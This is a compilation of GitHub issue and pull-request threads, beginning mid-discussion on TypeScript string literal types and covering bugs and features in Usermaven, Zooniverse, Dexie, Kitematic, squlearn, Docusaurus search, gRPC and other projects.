  // whatever is left in our identity mapping
   something; // {kind: "a", a: true}   | {kind: 0, null: true}
}
if (something.kind === A) {
  // mapping of "Sa" constant key in 'something'
} else  {
  // whatever is left in our identity mapping
  something; // {kind: null, null: true}  | {kind: 0, null: true}
}

We just have to know the RHS resolves to a constant value then we're good to go.

@yortus The reason it is valuable to denote a nullable singleton type is the example @nycdotnet gave: https://github.com/Microsoft/TypeScript/issues/1003#issuecomment-112094477. Like you said, in order to get around this, you have to have a sentinel value ("zero" in the example you gave), which seems kind of unnatural.
Your point about undefined being a non-nullable singleton type: That is true, but the type system treats undefined specially in two important ways, which make it not function as a precedent for non-nullable types:

It is a bottom type.
It gets widened when it is assigned to something.

@jbondc Your suggestion to fold in constant propagation seems to mix too many features together, and it seems to have much wider scope than the feature calls for.

Well sometimes you need building blocks to create new things, I added two fundamental concepts 'set types' + constants. The 'set types' is very similar to 4. Variant types here:
http://lucacardelli.name/papers/inheritance.pdf
Anyways not sure if I'm headed in the same direction as TS so may fork it into something else.

The tagged union usage is the most similar thing to variant types that Typescript can have. The problem is that there are no first class "labels" in Javascript, so we use type guards instead. And then to make a label at compile time, there is a choice between using const entities (what you suggested), or types that represent constant values (what this proposal was about).

Flowtype implemented similar feature: http://flowtype.org/blog/2015/07/03/Disjoint-Unions.html

@teppeis looks nice, and demonstrates the simplicity of coding with truly disjoint unions. According to the discussion above it appears TypeScript may not allow type narrowing in the else case due to null and undefined being implicitly allowed values of every singleton type.

@teppeis , @yortus Actually, it's the same feature, the examples are very familiar since it's actually this issue that was cross posted on flow's github (https://github.com/facebook/flow/issues/135) completing an other proposal (https://github.com/facebook/flow/issues/20).
Concerning the type narrowing, the softer handling of null and undefined of TypeScript do not prevent us from doing it in the else case. Actually all examples given in this blog post should work in my proposal prototype.

@Nevor regarding type narrowing that's great if it can be done in the presence of null/undefined. Are you talking along the lines of option 3 in this comment?

Yep, in the case of Typescript, we are already in a world where everything can be null/undefined, I don't see the need to treat this case differently. Moreover, it's very easy to transform an "unsafe" if-then-else into a safe switch or if-then-else-if-then.

Yes, there are certainly no technical limitations to narrowing a nullable in the else clause, I was just wondering whether people wanted this looseness. Sounds like the answer is yes.
Btw, @RyanCavanaugh made a good point that by this philosophy, we should also narrow in the else clause of an instanceOf guard.

Just working out the test cases and agreeing on those seems like a better first step.
Set types + constant checking works fine, in fact it simplifies & speeds up checking. Any solution here I imagine would also work with number & boolean:
https://github.com/facebook/flow/issues/524
Removed my comments since I won't be submitting a PR.

Would this work with my proposal, particularly with the const enum feature? To take the first few lines of the initial overview as an example:
const enum Result : string {
  ok,
  fail,
  abort,
}

function compute(n : number) : Result {
  if(...) {
    return Result.ok;
  } else if (...) {
    return Result.fail;
 } else {
    // This couldn't be any more clear what the problem is.
    return Result.crash;
 }
}

Although now that I come to think about it, this could complement enum types, as enums are effectively a type union of constants. Enums should be typed like classes, and type unions would be the duck-typing equivalent.
Also, shouldn't this be expanded for other primitive constants as well? I know of a few use cases for numeric constants, and a few cases where false is treated specially, while true is ignored or not used.

I see that @DanielRosenwasser is now working on this. Any way we can help with community contributions?

The original issue is addressed by #5185. the remaining part is extending the type guards to support the string literal types. but this should be tracked by a different issue.

Hey, shouldn't this result in a warning about either unreachable code or type incompatibility?
type Animal = "dog" | "cat";

function DoStuff(animal:Animal) {
	if(animal === "fish")
		return;
}

Hey, shouldn't this result in a warning about either unreachable code or type incompatibility?
type Animal = "dog" | "cat";

function DoStuff(animal:Animal) {
	if(animal === "fish")
		return;
}

@Elephant-Vessel we're working on it. See #6196, though I don't know if we'll see it in 2.0.


Unencoded characters in url in Next app causes usermaven to crash

When I send a query with the '%' sign in the URL, the app crashes and the error originates from Usermaven.track function

The crash still happens when I wrap the query I am sending in encodeURIComponent()

When I comment out the tracking function, the crash does not happen. I have wrapped it in a trycatch block for now

Next handles encoding and decoding characters in the url through its router by default. So I have not added that anywhere in my application.

My tracking code is as follows with a try catch block added

useEffect(() => {
    const usermaven: UsermavenClient = usermavenClient({
      key: process.env.USERMAVEN_KEY || "",
      tracking_host: process.env.USERMAVEN_TRACKING_HOST || "",
      autocapture: true,
      randomize_url: true,
      privacy_policy: "strict",
    });
    try {
      console.log(
        "query sent to usermaven",
        encodeURIComponent((queryParams?.q && queryParams.q.toString()) || "")
      );
      usermaven.track("query", {
        query: encodeURIComponent(
          (queryParams?.q && queryParams.q.toString()) || ""
        ),
      });
    } catch (error) {
      console.log(
        "Unhandled error while tracking query: ",
        query,
        "Error; ",
        error
      );
    }
  }, [queryParams]);

The website url where you can replicate this behaviour is stage.contentideas.io. type in "90% headshot count" in the search bar in https://stage.contentideas.io/ and it will give the error

this error is properly from your nextjs implementation, I tried locally with the same payload and It seems like working fine.
usermaven.track("query", {
  query: encodeURIComponent('90% headshot count'),
});

@RamlahAziz can look into Jitsu Next App Example. They implemented the provider pattern to initialize the pixel, we can try this.


Can't see all my subject sets on the Workflow page

Dear Zooniverse,
I just uploaded a big batch of new subject sets for Backyard Worlds: Planet 9
and I'd like to associate them with a workflow called "October 2017 upload #5214".
So I go to the page where it says:
"ASSOCIATED SUBJECT SETS
Choose the set of subjects you want to use for this workflow."
But only the first half of my subjects are listed.
My subject sets are named "RA 001", "RA 002" etc in order up to "RA 358".
But this page only shows me up to "RA 176".
So I can't associate any of the subject sets that have higher numbers with this workflow.
It's not an issue with the subject sets I just uploaded---I can see those, if their
numbers are < 176.   It seems to be a matter of some kind of limitation on the number
of subject sets that the page will display.
Thank for your help!
Marc Kuchner

@marckuchner This is an issue with the UI only showing 1 page of data (a big one probably). pinging @srallen for thoughts on this?
I know the cli tool should work with this, https://github.com/zooniverse/panoptes-cli#list-subject-sets-in-a-workflow

Yes, it's a pagination issue on the front end. Here's the associated issue: zooniverse/Panoptes-Front-End#4046. The proposed solution is in the issue, so please comment there if you have thoughts about it.
@marckuchner In the interim, you should be able to do the linking via the python client or if you'd like to let me know which subject sets need to be linked to which workflow, I can do it.

Thanks, guys.
Here's what I'm trying to associate with "October 2017 upload #5214"
RA 003, 004, 006, 013, 014,
016, 023, 026, 033, 034,
036, 043, 044, 046, 053,
054, 056, 063, 064, 066,
073, 074, 076, 083, 084,
086, 093, 094, 096, 103,
104, 106, 107, 111, 112,
113, 114, 116, 117, 118,
119, 120, 121, 122, 123,
124, 125, 126, 127, 128,
129, 130, 131, 132, 133,
134, 135, 136, 137, 139,
140, 141, 142, 143, 144,
145, 146, 147, 148, 149,
180, 186, 302, 303, 304,
305, 306, 313, 316, 323,
324, 326, 336, 343, 344,
346, 353, 354, 356
I was only able to associate those up to 149 so far.
(They all start with "RA").
...or if you teach me how to do it via Python, I'm happy to do it.
Marc
On Thu, Oct 19, 2017 at 10:38 AM, srallen<EMAIL_ADDRESS>wrote:

Yes, it's a pagination issue on the front end. Here's the associated
issue: zooniverse/Panoptes-Front-End#4046
https://github.com/zooniverse/Panoptes-Front-End/issues/4046. The
proposed solution is in the issue, so please comment there if you have
thoughts about it.
@marckuchner https://github.com/marckuchner In the interim, you should
be able to do the linking via the python client or if you'd like to let me
know which subject sets need to be linked to which workflow, I can do it.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zooniverse/Panoptes/issues/2497#issuecomment-337928653,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFTa6TewkccdqSlfeFexQy6JxhavGzCYks5st17PgaJpZM4P_P-Z
.

--

Marc J. Kuchner
Songwriter (BMI)
www.marckuchner.com
<EMAIL_ADDRESS>Country and pop songs---heard on VH1, MTV, BET, and PBS.
"It's easy to see why this writer is getting cut." --Janet Fisher,
Goodnight Kiss Music

@marckuchner you can use the cli tool to add the subject sets to that worklfow,https://github.com/zooniverse/panoptes-cli#add-a-subject-set-to-a-workflow


Dexie: Migrating existing indexedDB doesn't work properly

When I'm trying to migrate the indexedDB into Dexie Database I got into some issues. The issues are listed below.

Dexie doesn't find __dbNames Database.
When trying to put the data into the existing Database using Dexie it is also not working properly.

Here is the codepen link for the code that I wrote.
And here is the Error screenshot when I got __dbNames database doesn't find the Error.
What I'm really trying to achieve is we already got our app running with the help of indexedDB. While trying to upgrade it into Dexie I got into those migration problems that I mentioned above.
Note:
If the codepen is not working properly try to run it on your local machine. Sorry for the inconvenience.

Ok, you actually do not need __dbnames in order for dexie to work. It's only purpose is making the function Dexie.getDatabaseNames() work.
In the sample here: https://github.com/dfahlander/Dexie.js/blob/master/samples/open-existing-db/dump-databases.html there is an Add button that does these things, based on the assumption that dexie has already run on the page and created it for you.
Once you've found the correct declaration for your existing database you wont need to have it in __dbnames db. But if you need the "open existing db" sample to work you will need it in order to extract the declaration for you.


Upgrade react-native

[ ] upgrade react-native
[ ] remove old react-native packages

[ ] react-native-modal
[ ] react-native-blur

any plans to upgrade to the latest react native?


Feature Request: Get Docker daemon Version during setup

@alexandrev thank you for the help and code provided, it's much appreciated!
If you're up for it, can you see if you can replicate this issue: https://github.com/docker/kitematic/issues/1331 - Seems to be something with VM starting up. Maybe we can add a quick Version check during the initial Setup?
I'm hoping that getting the daemon version would confirm:

We have a valid daemon running
Connectivity with the VM has been setup properly
The Docker API is working as expected

Hi @FrenchBen, It's a pleasure that you count on me on this :). Of course I'm up for it. I've been reading all the comments you guys post in that thread and please correct me if I'm wrong but the problem seems that it happens when you don't have the VM totally up & running when kitematic starts so both of the componentes get out of sync. Is it right?
And you idea it is to add a docker version op to verify that connection and what should be the procedure.
Kitematic pauses until we can retrieve a OK version from the docker server inside the VM? Something like a exponentially sleeps with a maximun timeout?

Kitematic pauses until the VM has an IP, but it doesn't always mean that the daemon is up and running.
My thought was to add a quick loop on the docker util setup, to confirm that we can get a valid docker version from the daemon, which would confirm it to be up and running.
Perhaps add something to the initial setup?
https://github.com/docker/kitematic/blob/master/src/utils/DockerUtil.js#L22
I'm open to suggestions

Ok, I'm getting it now. I think it's a good approach. Let me think about it and next days I start doing something about it :). I'll keep you posted

:+1:
Looking forward to seeing what you guys come up with.

Please @FrenchBen  take a look at the implementation. I follow your guidelines and I try it on my local laptop but the synchronization issues are very dificult to reproduce it. So, please, let me know if you see anything.

Hurray @alexandrev :100: Seems to do the trick!
I cloned your branch (issue-1355) and started up Kitematic with the VM completely shutdown. Below is the console log.
Download the React DevTools for a better development experience: https://fb.me/react-devtools SetupUtil.js:141 Trying to fetch machine IP, tries left: 79
DockerUtil.js:55 Trying to fetch docker verion, tries : 0
DockerUtil.js:63 Got response from docker server  {data: "", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}
DockerUtil.js:55 Trying to fetch docker verion, tries : 1
DockerUtil.js:63 Got response from docker server  {data: "", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}
DockerUtil.js:55 Trying to fetch docker verion, tries : 2
DockerUtil.js:63 Got response from docker server  {data: "", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}
DockerUtil.js:55 Trying to fetch docker verion, tries : 3
DockerUtil.js:63 Got response from docker server  {data: "", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}
DockerUtil.js:55 Trying to fetch docker verion, tries : 4
DockerUtil.js:63 Got response from docker server  {data: "", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}
DockerUtil.js:55 Trying to fetch docker verion, tries : 5
DockerUtil.js:63 Got response from docker server  {data: "", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}
DockerUtil.js:55 Trying to fetch docker verion, tries : 6
DockerUtil.js:63 Got response from docker server  {data: "1.9.1", error: "Error: connect ECONNREFUSED <IP_ADDRESS>:2376"}

note: retry 6 actually recorded twice in the console?
After that everything come up just fine.

Hi @klousiaj, I'm glad that this fix solve your issue, that was the main idea behind :).
I don't understand your note. You are saying that the retry 6 was recorded twice but I can't see that behaivor at the log you posted. What am I missing?
Thx once again for your help testing the branch :+1:

So @FrenchBen, how long we have to wait to see this merged? I'm excited so contribute to the master branch :P

@alexandrev What I saw was the (2) next to the last two messages in the console as it rolled the messages up. I just ran it again and didn't see the same behavior. Looking at the loop I don't see how it could be your code, but wanted to mention it. Either way, I love the fix.

I'd really appreciate your comment :)


Fix/traefik routes maintenance page and testing

Adds traefik rules to obain certificates for UUID.services.testing routes (i.e. dynamic service container via testing routes)
Fixes bug: Testing dynamic services are no longer captures by the maintenance page

Fixes git.speag.com/oSparc/osparc-ops-environments/-/issues/429

will not do regression/unit tests for now since first some "framework" for testing would have to be built.
merging this into master for manual testing, thanks for the input.

works on master! hooray!


feat: Add getCoverageDelta()

Objective (Required)
Add getCoverageDelta(), similar to getCoverage() but to get the delta coverage compared to the reference build.
Update Summary (Required)

Add getCoverageDelta(), based on getCoverage()
Update dependencies to a version of code-coverage-api which supports getCoverageDelta()
Add NixOS dev shell flake.nix

Sorry, I didn't mean to open this PR here. I just mean to test these changes internally.


Second order (and mixed) QNN Pennylane derivatives with shots are not working ( dfdxdp, dfdxdx, dfdxdop)

Describe the bug
Simulations with high order QNN Pennylane derivatives with shots (dfdxdp, dfdxdx, dfdxdop) give different results when comparing to qiskit_shots, qiskit_statevector and penylane_statevector (all giving the correct results).
To Reproduce
I calculated f, dfdx, dfdxdp, dfdxdx, for a simple qnn with ChebyshevRx encoding:
import numpy as np

from squlearn.observables import SummedPaulis
from squlearn.encoding_circuit import QiskitEncodingCircuit, ChebyshevRx
from squlearn.qnn.lowlevel_qnn import LowLevelQNN
from squlearn import Executor

num_qubits = 2
x_array = np.array([[0.75],
                    [0.1]])

circuit = ChebyshevRx(num_features=1, num_qubits=num_qubits, num_layers=1)
observable = SummedPaulis(num_qubits)

qnn_pennylane_shots = LowLevelQNN(circuit, observable, Executor("pennylane", shots=50000))
qnn_pennylane_statevector = LowLevelQNN(circuit, observable, Executor("pennylane"))

qnn_qiskit_shots = LowLevelQNN(circuit, observable, Executor("qiskit", shots=50000))
qnn_qiskit = LowLevelQNN(circuit, observable, Executor("qiskit"))

np.random.seed(1)
param = np.random.rand(qnn_pennylane_shots.num_parameters)
param_obs = np.random.rand(observable.num_parameters)

print("Pennylane statevector ")
print("f\n", qnn_pennylane_statevector.evaluate(x_array, param, param_obs, "f")["f"])
print("dfdx\n", qnn_pennylane_statevector.evaluate(x_array, param, param_obs, "dfdx")["dfdx"])
print("dfdpdx\n", qnn_pennylane_statevector.evaluate(x_array, param, param_obs, "dfdpdx")["dfdpdx"])
print("dfdxdx\n", qnn_pennylane_statevector.evaluate(x_array, param, param_obs, "dfdxdx")["dfdxdx"])
#print("dfdxdop\n", qnn_pennylane_statevector.evaluate(x_array, param, param_obs, "dfdopdx")["dfdopdx"])

print("-----------------")
print("Pennylane shots")
print("f \n", qnn_pennylane_shots.evaluate(x_array, param, param_obs, "f")["f"])
print("dfdx \n", qnn_pennylane_shots.evaluate(x_array, param, param_obs, "dfdx")["dfdx"])
print("dfdpdx \n", qnn_pennylane_shots.evaluate(x_array, param, param_obs, "dfdpdx")["dfdpdx"])
print("dfdxdx \n", qnn_pennylane_shots.evaluate(x_array, param, param_obs, "dfdxdx")["dfdxdx"])
#print("dfdxdop\n", qnn_pennylane_shots.evaluate(x_array, param, param_obs, "dfdopdx")["dfdopdx"])

print("-----------------")
print("qiskit")
print("f \n", qnn_qiskit.evaluate(x_array, param, param_obs, "f")["f"])
print("dfdx \n", qnn_qiskit.evaluate(x_array, param, param_obs, "dfdx")["dfdx"])
print("dfdpdx \n", qnn_qiskit.evaluate(x_array, param, param_obs, "dfdpdx")["dfdpdx"])
print("dfdxdx \n", qnn_qiskit.evaluate(x_array, param, param_obs, "dfdxdx")["dfdxdx"])

print("-----------------")
print("qiskit shots")
print("f \n", qnn_qiskit_shots.evaluate(x_array, param, param_obs, "f")["f"])
print("dfdx \n", qnn_qiskit_shots.evaluate(x_array, param, param_obs, "dfdx")["dfdx"])
print("dfdpdx \n", qnn_qiskit_shots.evaluate(x_array, param, param_obs, "dfdpdx")["dfdpdx"])
print("dfdxdx \n", qnn_qiskit_shots.evaluate(x_array, param, param_obs, "dfdxdx")["dfdxdx"])

Expected behavior
The output of dfdxdx, dfdxdp should give the same values as the other implementations (like for f and dfdx implementation below).
Pennylane statevector
f
 [0.3558851  0.25388108]
dfdx
 [[0.18300929]
 [0.1394669 ]]
dfdpdx
 [[[ 0.16170338]
  [ 0.27386335]
  [ 0.08768908]
  [ 0.10615746]]

 [[ 0.03015719]
  [ 0.11875324]
  [-0.03103286]
  [-0.02106788]]]
dfdxdx
 [[[0.14283571]]

 [[0.04234631]]]
-----------------
Pennylane shots
f
 [0.35595153 0.25376274]
dfdx
 [[0.18361726]
 [0.14007897]]
dfdpdx
 [[[0.09823249]
  [0.19851102]
  [0.        ]
  [0.        ]]

 [[0.07489638]
  [0.15020733]
  [0.        ]
  [0.        ]]]
dfdxdx
 [[[0.31401326]]

 [[0.0140488 ]]]
-----------------
qiskit
f
 [0.3558851  0.25388108]
dfdx
 [[0.18300929]
 [0.1394669 ]]
dfdpdx
 [[[ 0.16170338]
  [ 0.27386335]
  [ 0.08768908]
  [ 0.10615746]]

 [[ 0.03015719]
  [ 0.11875324]
  [-0.03103286]
  [-0.02106788]]]
dfdxdx
 [[[0.14283571]]

 [[0.04234631]]]
-----------------
qiskit shots
f
 [0.35561856 0.25455449]
dfdx
 [[0.184588  ]
 [0.13953619]]
dfdpdx
 [[[ 0.16126975]
  [ 0.27412348]
  [ 0.087647  ]
  [ 0.10636382]]

 [[ 0.03027624]
  [ 0.11678895]
  [-0.03101101]
  [-0.02085382]]]
dfdxdx
 [[[0.14369644]]

 [[0.04309145]]]

I am happy to help if you have some suggestion :)
Thank you very much!
Additional context

I used squlearn:  0.7.4

Fix in PR #272

Higher-order derivatives like dxdx deppend on the PennyLane issue: https://github.com/PennyLaneAI/pennylane/issues/5824
There is nothing, we can do right now. :/


Add a source choices field to Task. Values: CLIMATE_ACTION_PLAN, SUGGESTED

Rationale:
Tasks may be officially decided (e.g. part of a climate action plan (KAP)) or mere suggestions of the LocalZero local team and therefore completely ignored by the government or something in between. As a first step we want to allow local teams to add to their (possibly insufficient) KAP. The added tasks should be discernible from the official ones.

[x] Add class TaskSource as an IntegerChoices with valuesCLIMATE_ACTION_PLAN = 0, "KAP"
SUGGESTED = 1, "Vorschlag"

[x] Set default CLIMATE_ACTION_PLAN, also in migration for existing Tasks.
[x] Come up with a way to show on task card and task page. (e.g. show title of SUGGESTED in cursive.)
[ ] Come up with a way for users to understand the difference. (A legend would add clutter to the pages. Maybe a hover pop-up?)
[ ] Allow to filter to show only one of the two kinds. (Optional, to be discussed, split into new issue)
[ ] Add additional test cases

Should suggested tasks be viewed exactly like normal tasks when it comes to aggregating the amount of tasks and their statuses in the city view?

@La-Cezanne @mdrie three tasks in the description remain unchecked, is this realy closed?


Build SDL 2 for mobile!

Hello I just like how this project is easy .
But can any one provide an example to build SDL 2 for mobile targets.
I can not find any info at the web site.
Also how we can sp app icon and android promises (The manifest file )
In direct simple Q . Can I use xmake to build c mobile apps/games

Do you want to build the libsdl source code, or compile the project using the libsdl?
If you just want to compile the project using the libsdl, you can add add_links("sdl") in the xmake.lua file.
target("test")
    set_kind("binary")
    add_files("src/*.c")
    add_links("sdl")
    add_linkdirs("xxx")

What about app icon ? and android promises?


[DUOS-2845][risk=no] Fix dac datasets modal bug

Addresses
https://broadworkbench.atlassian.net/browse/DUOS-2845
Summary
Refactor the dac datasets modal to be a newer functional component and fix the error when using the read more component.
Also note that we're removing Consent ID and Sample Collection ID from the display ... those are no longer supported in the new Dataset/Study model.
Why
Using the ReadMore component as part of the translated data use caused a problem with too many useEffect hooks in combination with the parent components. The "fix" here is to use a shortened (or ellipses concatenated string) along with using the full translation as the title text of the span it lives in and remove the use of the ReadMore component altogether.

Have you read Terra's Contributing Guide lately? If not, do that first.

Label PR with a Jira ticket number and include a link to the ticket
Label PR with a security risk modifier [no, low, medium, high]
PR describes scope of changes
Get a minimum of one thumbs worth of review, preferably two if enough team members are available
Get PO sign-off for all non-trivial UI or workflow changes
Verify all tests go green
Test this change deployed correctly and works on dev environment after deployment

think it would maybe be worth converting DacDatasetsModal to ts, the ts-ignore comments peppered around worry me a bit, but I didnt want to block fixing a bug.

Thank you @Ghost-in-a-Jar - yes, I was looking into that too. The TS conversion is non-trivial at the moment since we are just starting that journey. I do intend to do that, but was hoping to get past the bug first.


Fix bug missing some attributes on image component

As I think the image block shoulds contain the original Strapi image information such as alternativeText, name, ext, provider_metadata ... instead of removing or customizing it. So it keeps the consistent with other plugins that may use them.

@nhvu1988 This change will significantly increase the size of the content. Need to get more attention from other people who need these changes

At least the preview URL is very important for improving SEO(in NextJS, for instance).
So, what could be a better solution?

Maybe adding an option to the plugin config to include the metadata could be a good compromise on the concern of the increased content size.

Maybe adding an option to the plugin config to include the metadata could be a good compromise on the concern of the increased content size.

@bmfs This could be a solution, can you prepare these changes?


Upgrade to TypeScript 4.9 and onwards

Source (on roblox-ts server):
https://discord.com/channels/476080952636997633/506983834877689856/1089861332255383652
Output:
DeprecationWarning: 'createTypeParameterDeclaration' has been deprecated since v4.7.0. Use the overload that accepts 'modifiers'

This issue will be fixed in dev branch.


Staff-w21 select tutor component

In this PR, we address a serious UX problem in the current CRUD operations for entering office hours.
Office hours apply to a particular tutor assignment, e.g. a specific TA or LA in a specific course offering.
Currently, to enter office hours, you have to go to the tutor assignment menu, and manually look up the numeric id of the tutor assignment, and then enter that when you create office hours.
For example, to enter office hours for Scott Chow for W21, we first have to determine that the applicable tutor assignment id is "13"

Then, on this screen, we enter that number for the tutor assignment id:

But that's clearly not ideal.   This PR adds code so that we can select a quarter, then a course, and then a tutor, and the tutor assignment id is chosen for us behind the scenes:

Made obsolete by #169


Inconsistent frames

In Python, wait for frames() is used to extract all the frames of the bag file, which are different from those obtained through rosbag. For example, rosbag only gets 5689 frames, while Python gets 6533 frames.

Hi @nevynwong
wait_for_frames does not return frames, but rather coherent frame sets (pairs, triples, etc..). If no match for a specific frame was captured during recording it can be skipped by wait_for_frames. Also, there is set_real_time method that can be used to reduce drops during playback.

Hi @dorodnic ,Here's my program.
import pyrealsense2 as rs
import numpy as np
import matplotlib.pyplot as plt
import cv2
import argparse
import os.path
import scipy.io as scio
pipe = rs.pipeline()
config = rs.config()
config.enable_device_from_file('/plant.bag',repeat_playback=False)
profile = pipe.start(config)
playback = profile.get_device().as_playback()
playback.set_real_time(False)
#pointcloud
pc = rs.pointcloud()
points = rs.points()
colorizer = rs.colorizer()
align_to = rs.stream.color
align = rs.align(align_to)
n = 0
m = 0
while (playback.current_status() == rs.playback_status.playing) :
n += 1
print n
frames = pipe.wait_for_frames()
****
I use n to record the number of frames in the bag file.
The result is much more than the result through rosbag. Is it my program's problem?

Hi @dorodnic ,
I would like to restate my problem, but actually my problem is that many framesets produced by using wait_for_frames() are the same, that is, adjacent timestamps and images in adjacent framesets are the same. What is the reason?How to solve it?

@nevynwong hello,
as noted by @dorodnic  wait_for_frames produces synchronized depth/color/ir framesets, so in cases where only a subset of those were updated by the time the user call was made, the frameset exhibit a mix of new and old frames, i.e each frame will appear in more than one  wait_for_frames  invocations.
This is also true when, for instance you record only a single stream but during playback you invoke  wait-for_frames twice as fast as they were recorded.
There are multiple ways to handle this -

Inspect every frame obtained in the frameset. track and and process only those that change.
Use non-realtime playback mode, as recommended by @dorodnic above. This will
Use 'poll_for_frames' API that is guaranteed to provide each new frame only once to avoid duplicates. This however, transfers the responsibility to synchronize the frames (required for cases such as align/pointcloud) to the user..

Related to #5143


Can't input Japanese on docusaurus-theme-search-algolia in Windows Firefox

Have you read the Contributing Guidelines on issues?

[X] I have read the Contributing Guidelines on issues.

Prerequisites

[X] I'm using the latest version of Docusaurus.
[ ] I have tried the npm run clear or yarn clear command.
[ ] I have tried rm -rf node_modules yarn.lock package-lock.json and re-installing packages.
[ ] I have tried creating a repro with https://new.docusaurus.io.
[ ] I have read the console error message carefully (if applicable).

Description
docusaurus-theme-search-algolia has a bug to prevent from inputting Japanese in Windows Firefox.
Other languages, e.g. Chinese, may be affected, too.
Chromium-based browsers work well.
Reproducible demo
https://docusaurus.io/
Steps to reproduce

Install or enable a Japanese input method (e.g. Google Japanese Input)
Click the search bar or Ctrl + K
Enable Japanese input method
Type some Japanese search query

Expected behavior
https://user-images.githubusercontent.com/12870451/235352380-d6be7c95-c69b-489d-b8eb-d00d5ecdc499.mp4
(Edge)
Chrome also works well.
Note: this movie uses AV1. Safari may not be supported. Edge requires an this Windows video extension.
Actual behavior
https://user-images.githubusercontent.com/12870451/235352442-ccfbda41-a997-463d-8d56-26a10a3fd361.mp4
Input corrupted at every moment😡
Your environment

Public source code: officia pagel
Public site URL: official page
Docusaurus version used: official
Environment name and version (e.g. Chrome 89, Node.js 16.4): N/A
Operating system and version (e.g. Ubuntu 20.04.2 LTS): Windows + Firefox

Self-service

[ ] I'd be willing to fix this bug myself.

https://developer.mozilla.org/docs/Web/API/Event/composed must be used to fix this problem.

I cannot reproduce this in macOS Firefox, but Chinese input methods work differently and I don't know how to use the Hiragana input method... In any case, Docusaurus does not provide the search modal, so we will track https://github.com/algolia/autocomplete/issues/1135 instead.

@Josh-Ce I don't have a mac, but can't it be reproduced in Microsoft Pinyin in Windows parallels?

Unfortunately I don't have access to a Windows machine either :/

Isn't it too early to close?
fyi how to enable Japanese IME in macOS
https://redcocoon.org/cab/mysoft.html

Yeah I do have the Hiragana keyboard, I just never know how to use it.

Seems to work well.
It may be Windows specific.

I was able to test in Google Pinyin in Windows Sandbox.
https://user-images.githubusercontent.com/12870451/235466914-83505fb2-2bad-4a77-8191-75da32a24f49.mp4
Input sentence→Press backspace until all characters are deleted
While I pressed backspace, I found the search bar behaves suspiciously.

Can macOS + Firefox input Pinyin at this field?
https://codepen.io/tats-u/pen/KKGXxEM

@tats-u sorry I was quite busy for the last few weeks. Yes, the pen works for me on Mac Firefox, both using Chinese and Hiragana keyboards.
The IME closing seems unexpected, but I can't reproduce it here. Maybe it's a platform-specific issue?

macOS doesn't seem to be affected. Thank you for your cooperation.
FYI in Windows:
https://user-images.githubusercontent.com/12870451/235846510-b8fc90b6-2ee6-44e0-8a61-1d025bb58ec0.mp4

https://github.com/algolia/autocomplete/issues/1135#issuecomment-1916879932
We will be able to fix this issue by ignoreCompositionEvents in the latest autocomplete for CJK languages.

@tats-u Could you try it in your environment? Thanks!

Has it been committed in main? It does not look like.

Ah, no, I meant if you wanted to make the code change and test it locally.

I found we still wait for fix of https://github.com/algolia/docsearch/issues/1043 & https://github.com/algolia/docsearch/issues/1304.
That attribute has not been imported into <DocSearchModal/> (@docsearch/react) yet.

Is there a downside to this being unconditionally applied?

You may want to see:
https://github.com/algolia/instantsearch/issues/5986
https://github.com/algolia/instantsearch/pull/6009
I am against their background, though. The detailed condition (the name of Ithe keyboard app & the language of the keyboard) is not written.


Update es.yml

Include Favorite Feature translations.

Codecov Report

Merging #40 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #40   +/-   ##
=======================================
  Coverage   33.72%   33.72%
=======================================
  Files          33       33
  Lines         774      774
=======================================
  Hits          261      261
  Misses        513      513

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e1eb997...7c62096. Read the comment docs.


grpc 1.24.2 compilation issue

What version of gRPC and what language are you using?
1.24.2
What operating system (Linux, Windows,...) and version?
macOS: 10.14.6-x86_64
What runtime / compiler are you using (e.g. python version or version of gcc)
Clang: 11.0 build 1100
python3
What did you do?
If possible, provide a recipe for reproducing the error. Try being specific and include code snippets if helpful.
Jenkins build reference, https://jenkins.brew.sh/job/Homebrew Core Pull Requests/49693/version=mojave/console
What did you expect to see?
Fix the build issue
What did you see instead?
Make sure you include information that can help us debug (full error message, exception listing, stack trace, logs).
See TROUBLESHOOTING.md for how to diagnose problems better.
Anything else we should know about your project / environment?
00:03:44 ==> ENV
00:03:44 HOMEBREW_CC: clang
00:03:44 HOMEBREW_CXX: clang++
00:03:44 MAKEFLAGS: -j6
00:03:44 CMAKE_PREFIX_PATH: /usr/local/opt/openssl@1.1:/usr/local
00:03:44 CMAKE_INCLUDE_PATH: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/usr/include/libxml2:/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/OpenGL.framework/Versions/Current/Headers
00:03:44 CMAKE_LIBRARY_PATH: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/OpenGL.framework/Versions/Current/Libraries
00:03:44 PKG_CONFIG_PATH: /usr/local/opt/c-ares/lib/pkgconfig:/usr/local/opt/gflags/lib/pkgconfig:/usr/local/opt/openssl@1.1/lib/pkgconfig:/usr/local/opt/protobuf/lib/pkgconfig
00:03:44 PKG_CONFIG_LIBDIR: /usr/lib/pkgconfig:/usr/local/Homebrew/Library/Homebrew/os/mac/pkgconfig/10.14
00:03:44 HOMEBREW_GIT: git
00:03:44 HOMEBREW_SDKROOT: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk
00:03:44 ACLOCAL_PATH: /usr/local/share/aclocal

Relates to https://github.com/Homebrew/homebrew-core/pull/45106

same as #20392 , download upb and put it in third_party directory.

Please reopen if you feel this is different from https://github.com/grpc/grpc/issues/20392.


Terrain rendering layer

Hi, I was wondering if there is any future idea to support terrain rendering as a layer of deckgl.
The only useable solution for this type of rendering is Cesiumjs but I can't find any other libs with decent performances.
Any plan to include it in the feature releases?

any future idea to support terrain rendering as a layer

@markov00 Are you talking about 3D terrain? It is a cool idea.

